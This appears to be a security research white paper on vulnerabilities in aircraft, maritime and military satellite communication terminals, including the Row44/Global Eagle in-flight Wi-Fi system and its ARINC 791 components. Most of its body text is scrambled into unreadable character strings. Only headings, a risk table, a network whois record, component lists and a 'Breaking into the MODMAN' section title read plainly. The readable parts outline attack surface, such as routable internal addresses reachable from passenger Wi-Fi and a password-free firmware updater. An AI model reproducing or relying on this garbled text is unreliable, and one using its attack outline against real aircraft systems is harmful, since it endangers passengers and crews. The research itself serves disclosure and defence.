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Introduction 
J>*8!%989/%)>!)&-.%9>9#8*194W!'9$/*48!$>%99!%9/4EH&%4'!8)9#/%*&8!*#1&41*#=!89%*&(8!
1(4#9%/5*4*$*98!$>/$!/RR9)$!$>9!/1*/$*&#Y!-/%*$*-9Y!/#'!-*4*$/%W!*#'(8$%*98+!J>9!1(4#9%/5*4*$*98!
*#)4('9!5/)<'&&%8Y!*#89)(%9!.%&$&)&48Y!/#'!#9$H&%<!-*8)&#R*=(%/$*&#8+!J>*8!H>*$9!./.9%!
94/5&%/$98!$>9!/..%&/)>!/#'!$9)>#*)/4!'9$/*48!&R!$>989!1(4#9%/5*4*$*98Y!H>*)>!)&(4'!/44&H!
%9-&$9!/$$/)<9%8Y!&%*=*#/$9'!R%&-!$>9!"#$9%#9$Y!$&!$/<9!)&#$%&4!&R_!

•! 0*%5&%#9!K0JN@?!9`(*.-9#$!&#!*#ER4*=>$!)&--9%)*/4!/*%)%/R$8!

•! 6/%$>!K$/$*&#8!&#!V988948Y!*#)4('*#=!0#$9##/8!

•! 6/%$>!K$/$*&#8!(89'!5W!$>9!aK!?*4*$/%W!*#!)&#R4*)$![&#98!

T(#'%9'8!&R!)&--9%)*/4!/*%.4/#98!R%&-!/*%4*#98!8()>!/8!K&($>H98$Y!B&%H9=*/#Y!/#'!
")94/#'/*%!H9%9!R&(#'!$&!59!/RR9)$9'!5W!$>989!*88(98+!J&'/WY!*$!*8!8$*44!.&88*549!$&!R*#'!
1988948!$>/$!/%9!97.&89'!$&!$>9!"#$9%#9$Y!49/1*#=!$>9-!1(4#9%/549!$&!-/4*)*&(8!/$$/)<8+!
048&Y!H9!/%9!.%&1*'*#=!$>9!91*'9#)98!$&!'9-&#8$%/$9!$>/$!"#$9%#9$!&R!J>*#=8!L"&JM!-/4H/%9!
H/8!R&(#'!/)$*194W!$%W*#=!$&!97.4&*$!97.&89'!/*%)%/R$Y!/8!H944!/8!1988948!$>/$!H9%9!/4%9/'W!
*#R9)$9'+!

0!#(-9%*)/4!/#/4W8*8!&R!$>9!.&$9#$*/4!Z/'*&EG%9`(9#)W!LZGM!>/[/%'8!'9%*19'!R%&-!
1(4#9%/549!K0JN@?!'91*)98!*8!/48&!.%&1*'9'+!J>989!%98(4$8!H*44!59!)&-./%9'!H*$>!$>9!
T*=>!"#$9#8*$W!Z/'*/$9'!G*94'8!LT"ZGM!%9=(4/$*&#8!(89'!*#!$>9!/1*/$*&#!/#'!-/%*$*-9!
*#'(8$%WY!'9-&#8$%/$*#=!)W59%E.>W8*)/4!/$$/)<8!H*$>!*-./)$8!&#!8/$944*$98!/#'!8/R9$W!
*-.4*)/$*&#8!R&%!1988948!/#'!8>*.8+!

G*#/44WY!$>9!%98.&#8*549!'*8)4&8(%9!.%&)988!$>/$!&))(%%9'!*#!8()>!/!89#8*$*19!/#'!)&-.497!
8)9#/%*&!H*44!59!)&19%9'!*#!'9$/*4+!

Impact 
J>9!R&44&H*#=!$/549!*'9#$*R*98!$>9!%*8<8!$>/$!>/19!599#!*'9#$*R*9'!R&%!$>9!$>%99!*#E8)&.9!
*#'(8$%*98+!

Industry Security 
Risk 

Flight 
Safety 
Risk 

RF   
Risk 

Likelihood Attack 
Vector 

Aviation Yes No* No* ?9'*(-! Z9-&$9!

Maritime Yes N/A Yes! T*=>! Z9-&$9!

Military Yes N/A No ?9'*(-! Z9-&$9!

*Based on input received from the Aviation industry through the A-ISAC and our own 
research 
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0!89)(%*$W!%*8<!%9R49)$8!8)9#/%*&8!$>/$!/44&H!$>9!/$$/)<9%!$&!*#$9%)9.$Y!-/#*.(4/$9Y!&%!'*8%(.$!
#&#E8/R9$W!)&--(#*)/$*&#8!&%!-&19!R(%$>9%!*#$&!&$>9%!#9$H&%<8+!G&%!*#8$/#)9Y!H>9#!/!
%9-&$9!/$$/)<9%!*8!/549!$&!4/(#)>!/$$/)<8!/=/*#8$!./889#=9%8b!'91*)98!)&##9)$9'!$&!$>9!
*#ER4*=>$!P*G*!5W!)&-.%&-*8*#=!K0JN@?!9`(*.-9#$+!

P9!*'9#$*RW!/!8/R9$W!%*8<!H>9#Y!/8!/!'*%9)$!)&#89`(9#)9!&R!/!8())988R(4!/$$/)<Y!$>9%9!*8!/!
.&$9#$*/4!8&(%)9!&R!>/%-!&%!/'19%89!>9/4$>!9RR9)$!&#!/!.9%8&#!&%!.9%8&#8+!J>*8!%989/%)>!
'*'!#&$!)/%%W!$>9!97.4&*$/$*&#!&R!$>9!89)(%*$W!%*8<8!$>%&(=>!$&!.%&'()*#=!/#W!8/R9$W!*-./)$8Y!
8*#)9!$>9W!)&(4'!#&$!59!$98$9'!*#!/!%98.&#8*549Y!9$>*)/4!-/##9%+!!

J>*8!)&#)9.$!-/W!59!$%/#8.&89'!'*RR9%9#$4W!/)%&88!*#'(8$%*98+!G&%!$>9!-*4*$/%W!89)$&%Y!/!
8/R9$W!%*8<!-/W!59!)&#8*'9%9'!H>9#!/'19%8/%*/4!R&%)98!/%9!/549!$&!-&%9!9/8*4W!.*#.&*#$!
$>9!4&)/$*&#!&R!-*4*$/%W!(#*$8+!@#!$>9!&$>9%!>/#'Y!$>9!-/%*$*-9!/#'c&%!/1*/$*&#!*#'(8$%*98!
)/#!*'9#$*RW!>/[/%'8!59)/(89!&R!$>9!9RR9)$8!&R!K0JN@?E=9#9%/$9'!T"ZG8Y!H>*)>!-/W!
.%&1&<9!-/4R(#)$*&#8!*#!)%*$*)/4!#/1*=/$*&#!8W8$9-8!&%!919#!>9/4$>!'/-/=98!$&!.9%8&#8!
97.&89'!$&!$>*8!<*#'!&R!#&#E*&#*[*#=!ZG+!

Industry Threat  

Aviation •! 05*4*$W!$&!'*8%(.$Y!*#$9%)9.$!&%!-&'*RW!#&#E8/R9$W!)&--(#*)/$*&#8!8()>!/8!"#E
G4*=>$!P*G*!d!

•! 05*4*$W!$&!/$$/)<!)%9H!/#'!./889#=9%b8!'91*)98!
•! 05*4*$W!$&!-/#*.(4/$9!K0JN@?!/#$9##/!.&8*$*&#*#=!/#'!$%/#8-*88*&#8+!

Maritime •! 05*4*$W!$&!'*8%(.$Y!*#$9%)9.$!&%!-&'*RW!&#5&/%'!8/$944*$9!)&--(#*)/$*&#8!!
•! 05*4*$W!$&!/$$/)<!)%9Hb8!'91*)98!
•! 05*4*$W!$&!)&#$%&4!K0JN@?!/#$9##/!.&8*$*&#*#=!/#'!$%/#8-*88*&#8!
•! 05*4*$W!$&!.9%R&%-!)W59%E.>W8*)/4!/$$/)<8!(8*#=!T"ZG!

Military •! 05*4*$W!$&!.*#.&*#$!$>9!4&)/$*&#!&R!-*4*$/%W!(#*$8!
•! 05*4*$W!$&!'*8%(.$Y!*#$9%)9.$!&%!-&'*RW!8/$944*$9!)&--(#*)/$*&#8!!
•! 05*4*$W!$&!.9%R&%-!)W59%E.>W8*)/4!/$$/)<8!(8*#=!T"ZG!

Space •! 05*4*$W!$&!'*8%(.$!8/$944*$9!$%/#8.&#'9%8!

!

LdMJW.*)/44W!!.*4&$!/#'!)&E.*4&$!'&!#&$!(89!*$+!"#EG4*=>$!P*G*!*8!#&%-/44W!(89'!5W!R4*=>$!
/$$9#'/#$8!R&%!D0\!/#'!DN"!$%/#8/)$*&#8+!

LdM!N&#R*=(%/$*&#8!-/W!1/%W!$>9!*-./)$+! !
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Aviation  
"#!B&19-59%!IS,OY!'(%*#=!/!B&%H9=*/#!R4*=>$!R%&-!?/'%*'!$&!N&.9#>/=9#Y!"!'9)*'9'!$&!
$/<9!/!4&&<!/$!$>9!"#EG4*=>$!6#$9%$/*#-9#$!KW8$9-+!B&%H9=*/#!*8!H944!<#&H#!R&%!&RR9%*#=!
R%99!P*G*!/))988!*#!-&8$!&R!*$8!/*%.4/#98+!!!

P*%98>/%<Y!/!)&--&#!#9$H&%<E-&#*$&%*#=!$&&4!H/8!(89'!$&!)/.$(%9!$%/RR*)!&%*=*#/$*#=!/$!
$>9!"#EG4*=>$!P*G*+!0R$9%!49/1*#=!*$!%(##*#=!R&%!8&-9!$*-9!"!#&$*)9'!$H&!(#97.9)$9'!
59>/1*&%8_!

•! J>9!"D8!/88*=#9'!$&!./889#=9%b8!'91*)98!4&&<9'!4*<9!%&($/549!"D8+!!

!!

NetRange:       128.65.0.0 - 128.65.255.255 
CIDR:           128.65.0.0/16 
NetName:        RIPE-ERX-128-65-0-0 
inetnum:        128.65.80.0 - 128.65.95.255 
netname:        ROW44 
descr:          Hughes Network Systems GmbH 
country:        DE 

•! "$!H/8!.&88*549!$&!&589%19!#9$H&%<!8)/#8Y!)&-*#=!R%&-!97$9%#/4!%/#'&-!>&8$8Y!
'*%9)$9'!$&!*#$9%#/4!5($!%&($/549!"D8+!

!

J>*8!%/*89'!/!%9'!R4/=Y!8&!"!8.9#$!$>9!R4*=>$!-/..*#=!$>9!*#$9%#/4!#9$H&%<Y!./88*194W!
)&449)$*#=!91*'9#)9!/#'!.9%R&%-*#=!/#!*#*$*/4!/#/4W8*8!&R!$>9!#9$H&%<!$%/RR*)!$>/$!H/8!
)/.$(%9'+!

@#)9!$>9!R4*=>$!4/#'9'Y!/!8*-.49!#9$H&%<!8)/#!/=/*#8$!$>&89!%/#=98!%919/49'!$>/$!-(4$*.49!
)&--&#!89%1*)98!8()>!/8!J94#9$Y!PPPY!/#'!GJD!H9%9!/1/*4/549!R&%!)9%$/*#!"D8+!048&Y!/!
H95!*#$9%R/)9!)&(4'!59!/))9889'!919#!H*$>&($!/($>9#$*)/$*&#Y!/8!$>9!R&44&H*#=!.*)$(%9!
8>&H8+!
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!

0$!$>*8!.&*#$!$>9%9!H/8!9#&(=>!91*'9#)9!$&!/88(-9!8&-9$>*#=!H/8!%9/44W!H%&#=Y!5($!$>9%9!
H/8!4*$$49!*#R&%-/$*&#!/5&($!$>9!8W8$9-8!59*#=!/))9889'+!J>9!*#*$*/4!/88(-.$*&#!H/8!$>/$!
$>989!T\ISS!'91*)98!H9%9!$>9!/*%5&%#9!K0JN@?!-&'9-8!$>/$!8&-9>&H!9#'9'!(.!
59*#=!97.&89'!$&!$>9!"#$9%#9$e!>&H919%Y!)&#8*'9%*#=!$>9!8*$(/$*&#Y!*$!H/8!-/#'/$&%W!$&!=9$!
/!)49/%!.*)$(%9!&R!$>9!H>&49!8W8$9-!59R&%9!-&1*#=!R&%H/%'+!G&%$(#/$94WY!*$!H/8!.&88*549!$&!
)&449)$!/!8*=#*R*)/#$!/-&(#$!&R!*#R&%-/$*&#!/5&($!$>989!'91*)98!R%&-!'*RR9%9#$!8&(%)98!
8()>!/8!.%988!%949/898Y!f&(J(59!1*'9&8Y!-/#(/48Y!GNN!4*)9#8*#=!%9`(98$8Y!9$)+!!

J>9!R&44&H*#=!'98)%*.$*&#!&R!$>9!8W8$9-!*8!9#$*%94W!5/89'!&#!*#R&%-/$*&#!.(54*)4W!
/))988*549+!

A Global Exposure  
D%&1*'*#=!*#ER4*=>$!)&##9)$*1*$W!$>%&(=>!K0JN@?!*8!/#!*-.&%$/#$!$9)>#&4&=*)/4!
/)>*919-9#$Y!/#'!&51*&(84W!/44!$>9!)&-./#*98!*#1&419'!H*44!.%&('4W!8>&H!&RR!$>9*%!
8())988+!J>*8!./%$*/44W!97.4/*#8!$>9!/-&(#$!&R!*#R&%-/$*&#!*$!H/8!.&88*549!$&!/)`(*%9!R%&-!
.(54*)!8&(%)98+!0#&$>9%!R/)$&%!*8!$>9!%9`(*%9'!%9=(4/$*&#8!$>/$!19#'&%8!*#!$>*8!*#'(8$%W!
#99'!$&!)&-.4W!H*$>Y!H>*)>!9#'8!(.!=9#9%/$*#=!/!8*=#*R*)/#$!/-&(#$!&R!'&)(-9#$/$*&#+!08!
/!%98(4$Y!*$!H/8!8$%/*=>$R&%H/%'!$&!'*8)&19%!$>9!)&-./#W!$>/$!H/8!59>*#'!$>9!B&%H9=*/#!
K0JN@?!'9.4&W-9#$+!
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!

J>9!*#*$*/4!/#/4W8*8!&R!$>9!=/$>9%9'!*#R&%-/$*&#!/48&!%919/49'!&$>9%!.%&-*#9#$!/*%4*#98Y!
8()>!/8!K&($>H98$!&%!")94/#'/*%Y!>/1*#=!$>9*%!R499$8!9`(*..9'!H*$>!$>989!8W8$9-8+!!

!

"$!H/8!.&88*549!$&!19%*RW!$>/$!K&($>H98$!/#'!")94/#'/*%!R499$8!H9%9!/48&!97.&89'Y!/4$>&(=>!
H9!>/19!#&!)&#R*%-/$*&#!/5&($!&$>9%!/*%4*#98+!J>9!R&44&H*#=!8)%99#8>&$Y!H>*)>!899-8!./%$!
&R!$>9!34&5/46/=49b8!B?K!K&R$H/%9,Y!.%&1*'98!8&-9!/''*$*&#/4!)4(98!&#!$>9!8)/49!&R!$>*8!
97.&8(%9+!

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

!

,>$$.8_ccHHH+89)+=&1c0%)>*198c9'=/%c'/$/c,U,ISOOcSSS,,F2,IU,OSSQSF,c'IQ:UIS'97FF,+>$-!
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?9'*/!&($49$8!/)$*194W!)&19%9'!$>989!9#=*#99%*#=!9RR&%$8!$&!.%&1*'9!"#$9%#9$!)&##9)$*1*$W!/$!
2SYSSS!R$+!G%&-!/!$9)>#*)/4!.9%8.9)$*19Y!*$!H/8!)9%$/*#4W!8(%.%*8*#=!$&!'*8)&19%!$>9!'9$/*48!
8&-9!&R!$>989!8$&%*98!.%&1*'9'+!!

J>9!B9H!f&%<!J*-98!.(54*8>9'!/!#*)9!*#R&=%/.>*)!'9$/*4*#=!$>9!=9#9%/4!/%)>*$9)$(%9!/#'!
'91*)98+!

!
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Figure 1. Basic architecture of a Row44 deployment (New York Times) 2 

"A3Y!/48&!.(54*8>9'!2!/!$>%99E./=9!8$&%W!'9$/*4*#=!>&H!$>9!P*G*!)&##9)$*1*$W!*#!B&%H9=*/#!
>/'!599#!*-.49-9#$9'+!

!

Figure 2. Detailed Row44 architecture (IDG) 

@#!f&(J(59Y!$>9%9!*8!/!$*-9E4/.89!1*'9&:!8>&H*#=!$>9!'9.4&W-9#$!&R!$>*8!9`(*.-9#$!&#!/!
K&($>H98$!/*%.4/#9+!048&Y!$>9%9!/%9!&$>9%!1*'9&8U!)&19%*#=!$98$!R4*=>$8!&R!Z&H::b8!
045/$%&88Y!H>9%9!8&-9!.>&$&=%/-8!8>&H!$>9!'*RR9%9#$!'91*)98!$>/$!/%9!*#!$>9!8)&.9!&R!
$>*8!%989/%)>+!

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

!

I>$$.8_cc/%)>*19+#W$*-98+)&-cHHH+#W$*-98+)&-c*#$9%/)$*19cIS,IcSOcSUc5(8*#988c8(%R*#=E/$EUCSE-.>+>$-4!
2!>$$.8_cc$9)>H&%4'+*'=+89cI+IUI:c,+C::UCFcH*R*ER4W=.4/#c8*'/c,c8*'/E!
:!>$$.8_ccHHH+W&($(59+)&-cH/$)>g1h9G1H$R7DH/)!
U!>$$.8_ccW&($(+59c\[XaQXZFijfg$hQ2!
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"#!&(%!.%91*&(8!./.9%C!H9!*#$%&'()9'!)&--&#!K0JN@?!*#R%/8$%()$(%98Y!/))&%'*#=!$&!
H>*)>!$>9!R&44&H*#=!.*)$(%9O!.%&1*'98!/!)49/%!%9.%989#$/$*&#!&R!$>9!366!/%)>*$9)$(%9_!

!

Figure 3. GEE's SATCOM assets 

J>9!^(E5/#'!0*%)%/R$!6/%$>!K$/$*&#!L06KM!(89'!5W!Z&H!::!L#&H!./%$!&R!34&5/46/=49M!
.%&1*'98!$H&EH/W!5%&/'5/#'!)&--(#*)/$*&#!89%1*)98!$&!./889#=9%8!/#'!R4*=>$!)%9H8Y!
/44&H*#=!*#ER4*=>$Y!%9/4E$*-9!/))988!$&!$>9!"#$9%#9$+!J>9!06K!&.9%/$9!*#!)&#j(#)$*&#!H*$>!/!
V9%W!K-/44!0.9%$(%9!J9%-*#/4!LVK0JM!#9$H&%<!>(5!8$/$*&#!$>/$!*8!4*)9#89'!$&!T(=>98!
B9$H&%<!KW8$9-8!LTBKM+!!

J>*8!89%1*)9!59$H99#!-(4$*.49!/*%)%/R$!$9%-*#/48!/#'!$>9!"#$9%#9$!*8!.%&1*'9'!1*/!-(4$*.49!
8/$944*$9!=/$9H/W8!(#'9%!$>9!)&#$%&4!&R!/!B9$H&%<!@.9%/$*&#8!N9#$9%!LB@NM+!K/$944*$9!
=/$9H/W8!/%9!.%&)(%9'!R%&-!TBK!5/89'!&#!$>9!97*8$*#=!T(=>98!T\Y!/8!H944!/8!TJ!
/%)>*$9)$(%9+!0!<9W!949-9#$!&R!$>9!TBK!8/$944*$9!8W8$9-!*8!/!VK0J!T\cTJ!5%&/'5/#'!

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

!

C!>$$.8_cc*&/)$*19+)&-c.'R8c"@0)$*19iK0JN@?iK9)(%*$WiP>*$9D/.9%+.'R!
O>$$.8_ccHHH+89)+=&1c0%)>*198c9'=/%c'/$/c,U,ISOOcSSS,,F2,IU,OSSQSF,c'IQ:UIS'97FF,+>$-!
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$9%-*#/4!$>/$!.%&1*'98!"#$9%#9$!D%&$&)&4!L"DM!)&##9)$*1*$W!1*/!=9&8$/$*&#/%W!8/$944*$98Y!
/(=-9#$9'!H*$>!/!-&5*4*$W!R9/$(%9!$&!&RR9%!/*%5&%#9!(89%8!5%&/'5/#'!"D!'/$/!89%1*)9+!!

J>9!8W8$9-!8(..&%$8!%9)9.$*&#!/#'!$%/#8-*88*&#!*#!$>9!,,+OS!3T[!$&!,I+IS!3T[!/#'!
,:+SU!3T[!$&!,:+:O!3T[!5/#'!%98.9)$*194WY!($*4*[*#=!*#'9.9#'9#$!4*#9/%4W!.&4/%*[9'!/%%/W!
/#$9##/8!R&%!)&--(#*)/$*&#!$&!/#'!R%&-!/!=9&8$/$*&#/%W!8/$944*$9!*#!8./)9+!!

J>*8!'9.4&W-9#$!)&-.4*98!H*$>!$>9!0Z"BN!OF,!8$/#'/%'Y!H>*)>!'9R*#98!^(!/#'!^/!5/#'!
8/$944*$9!'/$/!/*%5&%#9!$9%-*#/4!9`(*.-9#$+!J>*8!8$/#'/%'!/44&H8!/!)9%$/*#!'9=%99!&R!
R497*5*4*$W!*#!$9%-8!&R!$>9!R(#)$*&#/4*$*98!*-.49-9#$9'Y!5($!H9!)/#!.%&1*'9!/!=9#9%*)!
'98)%*.$*&#!&R!$>9!)&-.&#9#$8!/8!R&44&H8_!

,+! ?@A?0B!]!?&'9-!?/#/=9%!
!
J>9!?@A?0B!>&8$8!$>9!-&'9-Y!H>*)>!-&'(4/$98!/#'!'9-&'(4/$98!8*=#/48!$&!
/#'!R%&-!5/895/#'!5($!/48&!*-.49-9#$8!)&%9!R(#)$*&#/4*$*98!8()>!/8!*#$9%R/)*#=!
H*$>!$>9!^0BAa!/#'!^ZGa!&%!%9)9*1*#=!97$9%#/4!8*=#/48!R%&-!&$>9%!/*%)%/R$!
89#8&%8!&%!(#*$8+!!

2.! ^0BAa!]!^(c^/!;/#'!A/$/!a#*$!
!
"$!.%&1*'98!.&H9%!$&!$>9!8/$944*$9!/#$9##/!/#'!(898!97$9%#/4!*#.($8Y!8()>!/8!/*%)%/R$!
#/1*=/$*&#/4!'/$/Y!$&!)&#$%&4!*$8!-&19-9#$+!"#!/''*$*&#!$&!*-.49-9#$!$>9!.&8*$*&#*#=!
/4=&%*$>-8!*$!/48&!*#$9%R/)98!H*$>!$>9!^ZGa+ 

2+! ^ZGa!]!^(c^/!;/#'!Z/'*&!G%9`(9#)W!a#*$!
!
J>9!^ZGa!)&#19%$8!-&'9-!"G!$&!^(E!&%!^/E5/#'!R%9`(9#)*98!R%&-!$>9!-&'9-!$&!
.%9./%9!R&%!$%/#8-*88*&#!$&!$>9!8/$944*$9+!!"$!/48&!H&%<8!/8!/!>*=>E.&H9%!/-.4*R*9%!
R&%!$%/#8-*$$*#=!$>9!8*=#/4+!J>9!^ZGa!=&19%#8!$>*8!.%&)988!*#!%919%89!/8!H944Y!
)&#19%$*#=!$>9!^(E!&%!^/E5/#'!$%/#8-*88*&#8!%9)9*19'!R%&-!$>9!8/$944*$9!5/)<!$&!
$>9!"G+!!

:+! @06!]!@($8*'9!0#$9##/!6`(*.-9#$!
!
J>*8!*8!$>9!/#$9##/!(#*$!$>/$!-/W!59!4&)/$9'!*#!'*RR9%9#$!.&8*$*&#8Y!8()>!/8!J/*4!
?&(#$9'!0#$9##/8!LJ?0M!&%!G(894/=9!?&(#$9'!0#$9##/8!LG?0M+!
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08!8()>Y!366b8!0Z"BN!OF,!9`(*.-9#$!*8!)&-.%*89'!&R!$>9!R&44&H*#=!949-9#$8_!!

ARINC 791  Model Device Vendor Function 

MODMAN ?Aa! ?&'9-! ^&#$%&#! ?&'9-Y!5(*4$!&#!$&.!&R!/!
T(=>98!T\ISS!K0JN@?!
-&'9-!!

KANDU ^(K$%9/-!,SSS! 0Na! J6N@?! 0#$9##/!N&#$%&4!a#*$!

KANDU K?a! K9%19%! ^&#$%&#! K9%19%!?/#/=9-9#$!a#*$+!"$!
*8!/#!/*%5&%#9!89%19%!$>/$!
>&8$8!$>9!"G6!D&%$/4!/#'!
&$>9%!)&%9!89%1*)98+!

OAE ^(K$%9/-!,SSS! K00! J6N@?! D>/89'!0%%/W!0#$9##/!

KRFU ^(K$%9/-!,SSS! TDJ! J6N@?! T*=>!D&H9%!J%/#8)9*19%!

MDU  –  Modem Data Unit 

ACU – Antenna Control Unit!

SMU  –  Server Management Unit 

SAA  –  Satellite Antenna Assembly 

HPT  –  High Power Transceiver 

"#!&%'9%!$&!&.9%/$9!/!#9$H&%<!R&%!*#!R4*=>$!)&##9)$*1*$WY!$>9!89%1*)9!.%&1*'9%!-(8$!H&%<!H*$>!
/44!%9491/#$!/1*/$*&#!/($>&%*$*98!L*+9+!60K0Y!G00M!$&!89)(%9!$>9!#9)988/%W!K(..49-9#$/4!
JW.9!N9%$*R*)/$98!LKJN8M+!!?&8$!&R!$>989!'&)(-9#$8!/%9!.(54*)4W!/))988*549QY!$>(8!
.%&1*'*#=!1/4(/549!*#R&%-/$*&#!$&!(#'9%8$/#'!$>9!)/./5*4*$*98!/#'!%9`(*%9-9#$8!R&%!$>989!
8W8$9-8+!

0$!$>*8!.&*#$!H9!/%9!*#!/!.&8*$*&#!$&!8(--/%*[9!>&H!$>9!366!0Z"BN!OF,!'9.4&W-9#$!*8!
H&%<*#=Y!H>*)>!H&(4'!/48&!/44&H!(8!$&!.%&.9%4W!94/5&%/$9!$>9!/$$/)<!8)9#/%*&8+!

J>9!K?a!L&#!$>9!49R$M!89%198!/8!$>9!8W8$9-!)&#$%&449%Y!.%&1*'*#=!)&%9!R(#)$*&#/4*$*98!$&!
5&$>!$>9!^0BAaY!^ZGa!/#'!?@A?0B!L&#!$>9!%*=>$M!5($!/48&!$&!./889#=9%8!/#'!)%9H!/8!
*$!*8!97.&8*#=!$>9!"G6!D&%$/4+!

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

!

Q!>$$.8_ccHHH+R))+=&1c4*)9#8*#=E'/$/5/898c=9#9%/4c89/%)>ER))E'/$/5/898!
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!

J>9!K?a!/48&!.%&1*'98!$>9!8H*$)>*#=!&R!'/$/!R%&-!1/%*&(8!.9%*.>9%/48!4&)/$9'!*#!$>9!
/*%)%/R$!)/5*#!/#'!($*4*[98!/#!/*%)%/R$!'*=*$/4!)&-.($9%!*#$9%R/)9!$&!%9)9*19!/*%)%/R$!.&8*$*&#Y!
8$/$9!&R!R4*=>$Y!9$)+ J>9!K?a!/48&!%9)9*198!/*%)%/R$!49194!'*8)%9$9!*#.($8!$&!'9$9)$!1/%*&(8!
)&#'*$*&#8Y!*#)4('*#=!$>9!P9*=>$E&#EP>9948!8*=#/4+!!

0''*$*&#/44WY!$>9!K?a!*8!)/./549!&R!98$/54*8>*#=!23!'/$/!4*#<8!&#4W!&#!$>9!=%&(#'+!J>*8!
)944(4/%!/#$9##/!*8!4&)/$9'!*#8*'9!$>9!%/'&-9Y!/8!8>&H#!594&H+!
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Figure 4. Cellular antenna in radome9 

J>9!0Na!/#'!$>9!TDJ!>/19!599#!'*8)&19%9'!'*%9)$4W!*#$9%R/)*#=!1*/!'*8)%9$9!*#.($8Y!5($!
/48&!$>%&(=>!9$>9%#9$!*#!$>9!8/-9!#9$H&%<!89=-9#$!H>9%9!$>9!?Aa!/#'!K?a!>/19!
/))988!$&+

!

Figure 5. Interfaces10 

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

!

F!K&($>H98$!P*G*!"#8$/44/$*&#!>$$.8_ccHHH+W&($(59+)&-cH/$)>g1h9G1H$R7DH/)!
,S!>$$._ccHHH+$9)&-E*#'+)&-cR*498cU:O'R/UUOSUQ'EP95^(8$%9/-;%&)>(%9@)$IS,:+.'R!
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!

Figure 6. Interfaces11 

08!/!%98(4$Y!&#)9!$>9!?Aa!*8!)&-.%&-*89'Y!*$!*8!.&88*549!$&!%9/)>!5&$>!$>9!0Na!/#'!TDJ+!
J>9!K?a!%9-/*#8!/))988*549!R%&-!$>9!*#ER4*=>$!P*G*e!/4$>&(=>!$>*8!'&98!#&$!*#$%*#8*)/44W!
-9/#!*$!)/#!59!9/8*4W!)&-.%&-*89'+!"R!$>/$!8*$(/$*&#!919%!>/..9#8!$>9!/$$/)<9%!H*44!59!*#!/!
.&8*$*&#!$&!=/*#!)&#$%&4!&19%!$>9!9#$*%9!0Z"BN!OF,!'9.4&W-9#$!/5&/%'!$>9!$/%=9$!/*%)%/R$+!

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

!

,,!>$$._ccHHH+<(8$%9/-+)&-c=/449%W+.>.!
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!

0))&%'*#=!$&!$>9!'&)(-9#$/$*&#!)&449)$9'!97)9.$!R&%!$>9!?Aa!/#'!$>9!NPXaY!$>9!
%9-/*#*#=!'91*)98!%(#!X*#(7+!

N/5*#!P*%94988!X0B!a#*$8!LNPXaM!/%9!.%&1*'9'!$&!/44&H!(89%8!H*$>!QSI+,,=c#!9#/549'!
'91*)98!$&!=/*#!/))988!$&!$>9!/*%5&%#9!)&##9)$*1*$W+!Z9=/%'*#=!$>9!NPXa!k&89.!D*Y!
K9#*&%!K9)(%*$W!N&#8(4$/#$!/$!"@0)$*19Y!H*44!59!.%989#$*#=!/$!A9RN&#b,Q!>*8!%989/%)>!&#!
5%9/<*#=!$>9!@.9%/$*#=!KW8$9-8!$>989Y!/#'!&$>9%!0))988!D&*#$8!(89_!67$%9-9B9$H&%<8b!
P*#=@K+12!

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

!

,I!>$$.8_ccHHH+'9R)&#+&%=c>$-4c'9R)&#EICc')EICE8)>9'(49+>$-4!
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!

Figure 7. GEE devices13 

G4*=>$!)%9H!/48&!>/8!8.9)*R*)!949-9#$8!5&$>!/$!$>9!)/5*#!/#'!)&)<.*$!$&!)&#$%&4!$>9!8W8$9-+!

!

Breaking into the MODMAN 
0$!$>*8!.&*#$!*$!*8!H&%$>!8(--*#=!(.!$>9!8$9.8!$>/$!>/19!599#!R&44&H9'!8&!R/%_!

,+! "#EG4*=>$!#9$H&%<!$%/RR*)!)/.$(%9!!

I+! "#EG4*=>$!#9$H&%<!-/..*#=!

2+! T(=>98c34&5/46/=49!L366M!#9$H&%<!8)/##*#=!

:+! "#*$*/4!*#R&%-/$*&#!=/$>9%*#=!

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

!

,2!>$$.8_cc$9)>H&%4'+*'=+89cI+IUI:c,+C::UCFcH*R*ER4W=.4/#c8*'/cIc8*'/EI!
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T/1*#=!/!'9)9#$!/-&(#$!&R!*#R&%-/$*&#!/5&($!366b8!8W8$9-!*#$9%#/48Y!/#'!*$8!
)&%%98.&#'*#=!K0JN@?!T(=>98!*#R%/8$%()$(%9Y!*$!H/8!$*-9!$&!=9$!5/)<!$&!$>9!/#/4W8*8!&R!
$>9!97.&89'!8W8$9-8!*'9#$*R*9'!'(%*#=!$>9!K$/=9!2+!

366b8!?@A?0B!*8!/!^&#$%&#!'91*)9!5(*4$!&#!$&.!&R!/!T(=>98!T\ISS!K0JN@?!-&'9-+!!
A(%*#=!$>9!.%91*&(8!K0JN@?!%989/%)>!*#!IS,:Y!H9!*'9#$*R*9'!-(4$*.49!1(4#9%/5*4*$*98!*#!
T(=>98!K0JN@?!$9%-*#/48Y!*#)4('*#=!5/)<'&&%8+!P>9#!/!)&-./#W!>/8!599#!R&(#'!
9-59''*#=!5/)<'&&%8!*#!*$8!.%&'()$8Y!*$!*8!#&$!(8(/44W!/!'9194&.9%b8!-*8$/<9!5($!/)$(/44W!/!
'98*=#!./$$9%#+!"#!$>*8!)/89!5W!%9/'*#=!$>9!&RR*)*/4!T\ISS!'&)(-9#$/$*&#!/#!*#$9%98$*#=!
R9/$(%9!H/8!#&$*)9'_!lJ>9!G/445/)<!a.'/$9%m!,:!

!

K&R$H/%9!$>/$!*8!/549!$&!*#8$/44!#9H!R*%-H/%9!$&!$>9!(#*$!H*$>&($!/8<*#=!R&%!/!./88H&%'!*8!
'9R*#*$94W!/!=&&'!)/#'*'/$9!$&!>&8$!/!5/)<'&&%+!a8*#=!/!8*-.49!=&&=49!89/%)>!*$!*8!
.&88*549!$&!'&H#4&/'!$>9!R/445/)<!(.'/$9%!8&R$H/%9!R%&-!$>9!H958*$9!&R!/!8/$944*$9!
.%&1*'9%+,U!

